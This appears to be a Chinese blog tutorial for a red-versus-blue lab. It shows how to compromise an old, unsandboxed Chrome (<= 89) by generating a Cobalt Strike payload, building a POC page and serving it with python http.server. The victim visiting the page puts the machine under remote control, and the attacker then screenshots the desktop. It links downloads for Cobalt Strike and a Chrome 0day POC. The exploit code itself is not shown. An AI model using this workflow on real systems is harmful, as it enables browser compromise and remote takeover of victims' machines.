文章目录

• 🍬 博主介绍
• 一、前言
• 二、演示环境搭建
• • 1、靶机安装低版本谷歌
  • 2、攻击机安装CS神器
• 三、红方操作
• • 1、POC制作
  • • 1.启动CS服务端
    • 2.打开CS客户端
    • 3.客户端连接CS服务端
    • 4.添加监听器
    • 5.生成payload
    • 6.制作POC
  • 2、准备恶意网页
• 四、蓝方操作
• 五、红方操作
• • 1、蓝方人员上线
  • 2、截蓝方机器桌面的图
• 六、相关资源

一、前言

1.靶机环境win10、win7均可，sever不行
2.chrome客户端需64位（Google Chrome < = 89.0.4389.128）
3.浏览器需要关闭沙箱模式--no-sandbox
4.攻击机需要有java和python环境
5.攻击机我这里利用的Cobaltsrike，当然想使用msf，大灰狼等等工具都是可以的

二、演示环境搭建

1、靶机安装低版本谷歌

2、攻击机安装CS神器

https://download.csdn.net/download/qq_51577576/87379235

三、红方操作

1、POC制作

1.启动CS服务端

./teamserver.bat 10.10.12.143 123456

2.打开CS客户端

3.客户端连接CS服务端

4.添加监听器

5.生成payload

6.制作POC

2、准备恶意网页

python -m http.server 8080

四、蓝方操作

http://攻击机IP:8080/POC.html

五、红方操作

1、蓝方人员上线

2、截蓝方机器桌面的图

六、相关资源

1、Cobaltsrike CS神器下载链接
2、谷歌0day_POC.txt下载链接
3、低版本谷歌下载链接
4、Jdk下载链接+java安装配置环境变量下载链接
5、Python3.10下载链接+python安装配置环境变量下载链接